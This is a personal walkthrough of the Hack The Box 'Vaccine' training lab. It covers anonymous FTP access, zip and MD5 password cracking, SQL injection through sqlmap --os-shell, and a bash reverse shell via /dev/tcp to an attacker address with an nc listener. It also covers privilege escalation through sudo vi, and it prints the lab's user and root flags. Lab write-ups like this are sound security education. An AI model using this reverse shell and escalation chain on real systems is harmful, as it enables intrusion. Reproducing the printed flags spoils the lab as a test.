
Vaccine - HTB Starting Point Tier 2
Vaccine
Postgres, PHP, SQLi
Task 1
Besides SSH and HTTP, what other service is hosted on this box?
FTP as per nmap scan
kali$ nmap -sC $TARGET --min-rate=2000 | tee nmap-sc.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-05 11:13 AEDT
Nmap scan report for 10.129.95.174
Host is up (0.36s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.15.41
| Logged in as ftpuser
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip
22/tcp open ssh
| ssh-hostkey:
| 3072 c0:ee:58:07:75:34:b0:0b:91:65:b2:59:56:95:27:a4 (RSA)
| 256 ac:6e:81:18:89:22:d7:a7:41:7d:81:4f:1b:b8:b2:51 (ECDSA)
|_ 256 42:5b:c3:21:df:ef:a2:0b:c9:5e:03:42:1d:69:d0:28 (ED25519)
80/tcp open http
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: MegaCorp Login
Nmap done: 1 IP address (1 host up) scanned in 17.06 seconds
Task 2
This service can be configured to allow login with any password for specific username. What is that username?
anonymous
Task 3
What is the name of the file downloaded over this service?
backup.zip
kali$ ftp $TARGET
Connected to 10.129.95.174.
220 (vsFTPd 3.0.3)
Name (10.129.95.174:malachi): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||10511|)
150 Here comes the directory listing.
-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip
226 Directory send OK.
ftp> get backup.zip
local: backup.zip remote: backup.zip
229 Entering Extended Passive Mode (|||10450|)
150 Opening BINARY mode data connection for backup.zip (2533 bytes).
100% |*************************************************************************************************************************************| 2533 489.24 KiB/s 00:00 ETA
226 Transfer complete.
2533 bytes received in 00:00 (6.83 KiB/s)
ftp> pwd
Remote directory: /
Task 4
What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?
zip2john
Task 5
What is the password for the admin user on the website?
- Use John to crack zip (password:
741852963
) - Read index file and we find md5 hash of admin password (md5:
2cb42f8734ea607eefed3b70af13bbd3
) - Lookup unsalted md5 reverse to get
qwerty789
for useradmin
Task 6
What option can be passed to sqlmap to try to get command execution via the sql injection?
Given we have an admin password to the PHP site, let’s take a look at the website and peek around for any potential vulnerabilities. Upon logging in, we are granted with a dashboard with a search bar. That search appears to be the only interactive functionality. Let’s have a play around. Aha! Typing a'
gives us a SQL error
ERROR: unterminated quoted string at or near "'" LINE 1: Select * from cars where name ilike '%a'%'^
At this point, we have an unsanitised input for SQLi at the endpoint http://$TARGET/dashboard.php?search=<something>
Looking at the sqlmap
options, the --os-shell
looks pretty good.
Task 7
What program can the postgres user run as root using sudo?
First, let’s gain access to the machine. (n.b. extending the timeout prevented me from getting kicked off every couple of minutes)
kali$ sqlmap --os-shell -u http://$TARGET/dashboard.php?search=abc --cookie=PHPSESSID=<session id> --timeout 1800
...
it looks like the back-end DMBS is 'PostgreSQL'
...
[09:26:14] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 20.10 or 19.10 or 20.04 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
[09:26:17] [INFO] fingerprinting the back-end DBMS operating system
[09:26:19] [INFO] the back-end DBMS operating system is Linux
[09:26:20] [INFO] testing if current user is DBA
[09:26:21] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution
[09:26:21] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
command standard output: 'postgres'
os-shell> pwd
command standard output: '/var/lib/postgresql/11/main'
Let’s establish a more stable shell
os-shell> /bin/bash -c 'bash -i >& /dev/tcp/<IP>/1337 0>&1'
...
kali$ nc -lvnp 1337
postgres@vaccine:/var/lib/postgresql/11/main$
My initial idea was to look for files that had the SETUID bit. That could perhaps give an idea for a program we could abuse for privesc. Unfortunately that only yielded the standard files in /usr/bin and /usr/share, as well as a bunch of snap packages. This didn’t seem to be the right approach:
# Failed attempt to find permissions
find /usr 2>/dev/null -type f -perm /4000
I referred to a hint which pointed me in the direction of sudo -l
. When trying to find permissions by sudo -l
, I was getting hit with the error sudo: a terminal is required to read the password
. At this point, I returned to the writeup which showed that while this bash reverse shell was more stable, it wasn’t enough - we needed a stable shell. See docs for pty.spawn()
postgres@vaccine:/$ python3 -c 'import pty;pty.spawn("/bin/bash")'
Even still, trying to use the command sudo -l
was prompting for a password. I did go to the writeup for a hint - it said to look in the /var/www/html
directory where the site was. If there were some creds stored in the PHP files, there could possible be some SQL things too. We know the dashboard is retrieving data from somewhere. Let’s look at that:
$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
Excellent! Looks like exactly what we’re after.
postgres@vaccine:/var/www/html$ sudo -l
sudo -l
[sudo] password for postgres: P@s5w0rd!
Matching Defaults entries for postgres on vaccine:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
mail_badpass
User postgres may run the following commands on vaccine:
(ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
The user can run vi
as root. (n.b. it can run as root to edit that specific file. I didn’t realise that at first)
Task 8
Submit user flag
From spawning a stable shell in task 7:
postgres@vaccine:/var/lib/postgresql/11/main$ cd ~
cd ~
postgres@vaccine:/var/lib/postgresql$ ls
ls
11 user.txt
postgres@vaccine:/var/lib/postgresql$ cat user.txt
cat user.txt
ec9b13ca4d6229cd5cc1e09980965bf7
Task 9
Submit root flag
In vi, we can get a shell by :sh
. Doing so after opening the file with sudo gives us a root shell.
postgres@vaccine$ sudo vi /etc/postgresql/11/main/pg_hba.conf
password for postgres: ...
# vim
:sh
wroot@vaccine#whoami
whoami
root
root@vaccine# cd ~
root@vaccine:~# ls
ls
pg_hba.conf root.txt snap
root@vaccine:~# cat root.txt
cat root.txt
dd6e058e814260bc70e9bbdef2715849
Look at that! Root flag obtained. What I didn’t know earlier, and perhaps was due to not reading the full output before, was that in order for the command to be executed as root, I would need to use sudo
on that specific command. I had assumed that simply using vi
would automatically default to root. When that didn’t work, I assumed that using vi
to open the file would automatically escalate me to root. Turns out, I need to specify sudo. Sudo would then perform a lookup to validate permissions. Also worth noting is the gtfobins page on vi here: https://gtfobins.github.io/gtfobins/vi/#sudo